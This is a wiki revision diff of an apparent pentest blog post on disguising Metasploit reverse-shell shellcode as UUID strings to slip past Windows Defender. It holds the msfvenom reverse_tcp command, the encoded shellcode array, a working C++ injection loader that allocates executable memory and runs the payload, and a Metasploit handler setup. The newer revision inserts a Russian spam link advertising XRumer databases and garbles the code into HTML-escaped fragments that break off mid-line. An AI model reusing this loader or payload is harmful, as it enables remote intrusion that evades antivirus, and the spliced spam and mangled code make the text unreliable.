Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
en:it-security:blog:obfuscation_shellcode_als_uuids_tarnen [2024/09/17 08:20] psycoreen:it-security:blog:obfuscation_shellcode_als_uuids_tarnen [2025/07/03 19:23] (current) – [Obfuscation: Disguise shellcode as UUIDs] 212.34.128.179
Line 1: Line 1:
-{{tag>IT-Security Windows Kali pentest obfuscation blog english}} +{{tag>IT-Security Windows Kali pentest obfuscation blog english}}
- +
-====== Obfuscation: Disguise shellcode as UUIDs ====== +
- +
-{{it-security:blog:a3896ce4-2725-4074-8a65-98fb4aa4d0c3.webp?400x200|}} +
- +
-In the last [[en:it-security:blog:shellcode_injection-4|blog post]] we dealt with the development of a calc.exe shellcode. The injection method that I used for testing was immediately blocked by Windows Defender. I therefore had to adapt the loader and shellcode accordingly. +
- +
-I came up with the idea of converting the opcodes into a string array, which is filled with [[https://de.wikipedia.org/wiki/Universally_Unique_Identifier|UUIDs]] is filled. These then have to be converted back into bytes before injection. To do this, I wrote an encoder and decoder that does exactly this.+
  
 +Оптимальный результат дадут свежие базы для xrumer <a href=https://www.olx.ua/d/uk/obyavlenie/progon-hrumerom-dr-50-po-ahrefs-uvelichu-reyting-domena-IDXnHrG.html>https://www.olx.ua/d/uk/obyavlenie/progon-hrumerom-dr-50-po-ahrefs-uvelichu-reyting-domena-IDXnHrG.html</a>, содержащие актуальные ссылки.
 ===== Tools ===== ===== Tools =====
  
Line 19: Line 12:
 We create a payload without further encryption or encoding. This is usually recognised by Windows Defender. We create a payload without further encryption or encoding. This is usually recognised by Windows Defender.
  
-<code bash> +&lt;code bash&gt; 
-python shencode.py create -c="-p windows/x64/shell/reverse_tcp LHOST=IPADDRESS LPORT=PORT -f raw -o shell_rev.raw" +python shencode.py create -c=&quot;-p windows/x64/shell/reverse_tcp LHOST=IPADDRESS LPORT=PORT -f raw -o shell_rev.raw&quot; 
-</code>+&lt;/code&gt;
  
 ==== encode ==== ==== encode ====
Line 27: Line 20:
 We now encode this payload as UUID strings. We now encode this payload as UUID strings.
  
-<code bash>+&lt;code bash&gt;
 python shencode.py encode -f shell_rev.raw -u python shencode.py encode -f shell_rev.raw -u
-</code>+&lt;/code&gt;
  
 The output now looks something like this: The output now looks something like this:
  
-<code cpp>+&lt;code cpp&gt;
 [*] try to open file [*] try to open file
 [+] reading 240906.001 successful! [+] reading 240906.001 successful!
 [*] try to generate UUIDs [*] try to generate UUIDs
-std::vector<std::stringsID = { +std::vector&lt;std::string&gt; sID = { 
-"fce88f00-0000-6031-d264-8b523089e58b"+&quot;fce88f00-0000-6031-d264-8b523089e58b&quot;
-"520c8b52-148b-7228-0fb7-4a2631ff31c0"+&quot;520c8b52-148b-7228-0fb7-4a2631ff31c0&quot;
-"ac3c617c-022c-20c1-cf0d-01c74975ef52"+&quot;ac3c617c-022c-20c1-cf0d-01c74975ef52&quot;
-"578b5210-8b42-3c01-d08b-407885c0744c",+&quot;578b5210-8b42-3c01-d08b-407885c0744c&quot;,
 ... ...
-"c85fffd5-83f8-007d-2858-68004000006a"+&quot;c85fffd5-83f8-007d-2858-68004000006a&quot;
-"0050680b-2f0f-30ff-d557-68756e4d61ff"+&quot;0050680b-2f0f-30ff-d557-68756e4d61ff&quot;
-"d55e5eff-0c24-0f85-70ff-ffffe99bffff"+&quot;d55e5eff-0c24-0f85-70ff-ffffe99bffff&quot;
-"ff01c329-c675-c1c3-bbf0-b5a2566a0053"+&quot;ff01c329-c675-c1c3-bbf0-b5a2566a0053&quot;
-"ffd5};+&quot;ffd5&quot; };
 [+] DONE! [+] DONE!
-</code>+&lt;/code&gt;
  
 ===== Step 2: Write Inject.cpp ===== ===== Step 2: Write Inject.cpp =====
Line 59: Line 52:
 We create a new C++ project and adopt the obfuscated string array that we created previously. We create a new C++ project and adopt the obfuscated string array that we created previously.
  
-<code cpp> +&lt;code cpp&gt; 
-#include <stdio.h> +#include &lt;stdio.h&gt; 
-#include <windows.h> +#include &lt;windows.h&gt; 
-#include <iostream> +#include &lt;iostream&gt; 
-#include <sstream> +#include &lt;sstream&gt; 
-#include <vector> +#include &lt;vector&gt; 
-#include <iomanip>+#include &lt;iomanip&gt;
 #pragma warning #pragma warning
  
-std::vector<std::stringsID = { +std::vector&lt;std::string&gt; sID = { 
-"fce88f00-0000-6031-d264-8b523089e58b"+&quot;fce88f00-0000-6031-d264-8b523089e58b&quot;
-"520c8b52-148b-7228-0fb7-4a2631ff31c0"+&quot;520c8b52-148b-7228-0fb7-4a2631ff31c0&quot;
-"ac3c617c-022c-20c1-cf0d-01c74975ef52"+&quot;ac3c617c-022c-20c1-cf0d-01c74975ef52&quot;
-"578b5210-8b42-3c01-d08b-407885c0744c",+&quot;578b5210-8b42-3c01-d08b-407885c0744c&quot;,
 ... ...
-"c85fffd5-83f8-007d-2858-68004000006a"+&quot;c85fffd5-83f8-007d-2858-68004000006a&quot;
-"0050680b-2f0f-30ff-d557-68756e4d61ff"+&quot;0050680b-2f0f-30ff-d557-68756e4d61ff&quot;
-"d55e5eff-0c24-0f85-70ff-ffffe99bffff"+&quot;d55e5eff-0c24-0f85-70ff-ffffe99bffff&quot;
-"ff01c329-c675-c1c3-bbf0-b5a2566a0053"+&quot;ff01c329-c675-c1c3-bbf0-b5a2566a0053&quot;
-"ffd5}; +&quot;ffd5&quot; }; 
-</code>+&lt;/code&gt;
  
 ==== Encoding and injection ==== ==== Encoding and injection ====
Line 85: Line 78:
 === Remove superfluous characters === === Remove superfluous characters ===
  
-Firstly, we need a function to remove the ''-'' characters. We pass a string to this function, which is then cleaned up.+Firstly, we need a function to remove the &#039;&#039;-&#039;&#039; characters. We pass a string to this function, which is then cleaned up.
  
-<code cpp>+&lt;code cpp&gt;
 void removeDashes(std::string& str) { void removeDashes(std::string& str) {
-    str.erase(std::remove(str.begin(), str.end(), '-'), str.end());+str.erase(std::remove(str.begin(), str.end(), &#039;-&#039;), str.end());
 } }
-</code>+&lt;/code&gt;
  
 === Convert strings to bytes === === Convert strings to bytes ===
Line 97: Line 90:
 The next function converts the UUID strings into executable bytes. The string array is run through piece by piece: The next function converts the UUID strings into executable bytes. The string array is run through piece by piece:
  
-  * Remove from ''-'' +* Remove from &#039;&#039;-&#039;&#039; 
-  * Read 2 characters and return them as bytes +* Read 2 characters and return them as bytes 
-  * When the string array has been run through, return the generated byte array to the caller+* When the string array has been run through, return the generated byte array to the caller
  
-<code cpp> +&lt;code cpp&gt; 
-std::vector<uint8_tconvertToBytes(const std::vector<std::string>& inputStrings) { +std::vector&lt;uint8_t&gt; convertToBytes(const std::vector&lt;std::string&gt;& inputStrings) { 
-    std::vector<uint8_tbyteArray; +std::vector&lt;uint8_t&gt; byteArray; 
-    for (const auto& str : inputStrings) { +for (const auto& str : inputStrings) { 
-        std::string cleanStr = str; +std::string cleanStr = str; 
-        removeDashes(cleanStr); +removeDashes(cleanStr); 
-        for (size_t i = 0; i cleanStr.length(); i += 2) { +for (size_t i = 0; i &lt; cleanStr.length(); i += 2) { 
-            if (i + 1 cleanStr.length()) { +if (i + 1 &lt; cleanStr.length()) { 
-                std::string byteString = cleanStr.substr(i, 2); +std::string byteString = cleanStr.substr(i, 2); 
-                uint8_t byte = static_cast<uint8_t>(std::stoi(byteString, nullptr, 16)); +uint8_t byte = static_cast&lt;uint8_t&gt;(std::stoi(byteString, nullptr, 16)); 
-                byteArray.push_back(byte)+byteArray.push_back(byte);
-            } +
-        } +
-    } +
-    return byteArray;+
 } }
-</code>+
 +
 +return byteArray; 
 +
 +&lt;/code&gt;
  
 === Main programme === === Main programme ===
Line 123: Line 116:
 The main program initialises the variables, calls the conversion function, outputs the bytes to the console and then executes the injection. The main program initialises the variables, calls the conversion function, outputs the bytes to the console and then executes the injection.
  
-To disguise this process somewhat, the function ''%%memcpy%%'' is not called directly, but linked to our own function via a pointer.+To disguise this process somewhat, the function &#039;&#039;%%memcpy%%&#039;&#039; is not called directly, but linked to our own function via a pointer.
  
-<code cpp>+&lt;code cpp&gt;
 int main() { int main() {
-    std::vector<std::stringinput = sID; +std::vector&lt;std::string&gt; input = sID; 
-    std::vector<uint8_tresult = convertToBytes(input); +std::vector&lt;uint8_t&gt; result = convertToBytes(input); 
-    unsigned char* Payload = reinterpret_cast<unsigned char*>(result.data()); +unsigned char* Payload = reinterpret_cast&lt;unsigned char*&gt;(result.data()); 
-    size_t byteArrayLength = result.size(); +size_t byteArrayLength = result.size(); 
-    std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std::endl; +std::cout &lt;&lt; &quot;[x] Payload size: &quot&lt;&lt; byteArrayLength &lt;&lt&quotbytes&quot&lt;&ltstd::endl;
- +
-    for (size_t i = 0i < byteArrayLength; ++i) { +
-        std::cout << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(Payload[i]) << " "; +
-        if ((i + 1) % 8 == 0) { +
-            std::cout << std::endl; +
-        } +
-    } +
- +
-    void* (*memcpyPtr) (void*, const void*, size_t); +
-    void* exec = VirtualAlloc(0, byteArrayLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE); +
-    memcpyPtr = &memcpy; +
- memcpyPtr(exec, Payload, byteArrayLength); +
- ((void(*)())exec)(); +
-    return 0; +
-}  +
-</code> +
- +
-===== Step 3Test functionality ===== +
- +
-==== Metasploit handler ==== +
- +
-We start a Metasploit handler on the attack system to receive the reverse shell: +
- +
-<code ruby> +
-msf6 > use exploit/multi/handler  +
-[*] Using configured payload generic/shell_reverse_tcp +
- +
-msf6 exploit(multi/handler) > run -p windows/x64/shell/reverse_tcp lhost=0.0.0.0 lport=15666 +
- +
-[*] Started reverse TCP handler on 0.0.0.0:15666 +
-</code> +
- +
-==== Compile Inject.cpp ==== +
- +
-We then compile our Inject.cpp as a 64-bit programme. We then copy this to the victim system. After the copying process, the file is not recognised. We scan it once manually with Windows Defender. +
- +
-{{it-security:blog:2024-220-1.png}} +
- +
-This also looks good. +
- +
-==== Execute ==== +
- +
-We now execute the file and wait for the result. +
- +
-Unfortunately, nothing happens at this point except waiting. A look at the shellcode also immediately reveals why this is the case: +
- +
-<code stylus> +
-"c85fffd5-83f8-007d-2858-68004000006a", +
-</code> +
- +
-We have generated a raw payload from metasploit. This contains a lot of null bytes and these prevent correct execution. This was quite annoying as my first tests went through. +
- +
-I repeated the whole process with metasploit's internal XOR encoder and defined null bytes as bad characters. This allowed me to spawn the shell, but the XOR decoder is detected in memory and Windows Defender sounds an alarm. +
- +
-===== Conclusion ===== +
- +
-The UUID obfuscation works and protects the file when accessing the hard drive. After execution, memory protection is required to prevent detection. I will show this in the next part.+
  
-~~DISCUSSION~~+for (size_t i = 0; i &lt; byteArrayLength; ++i) { 
 +std::cout &lt;&lt; std::hex &lt;&lt; std::setw(2) &lt;&lt; std::setfill(&#039;0&#039;) &lt;&lt; static_cast&lt;int&gt;(Payload[i]) &lt;&lt; &quot; &quot;; 
 +if ((i + 1) % 8 == 0) { 
 +std::cout &lt;&lt; st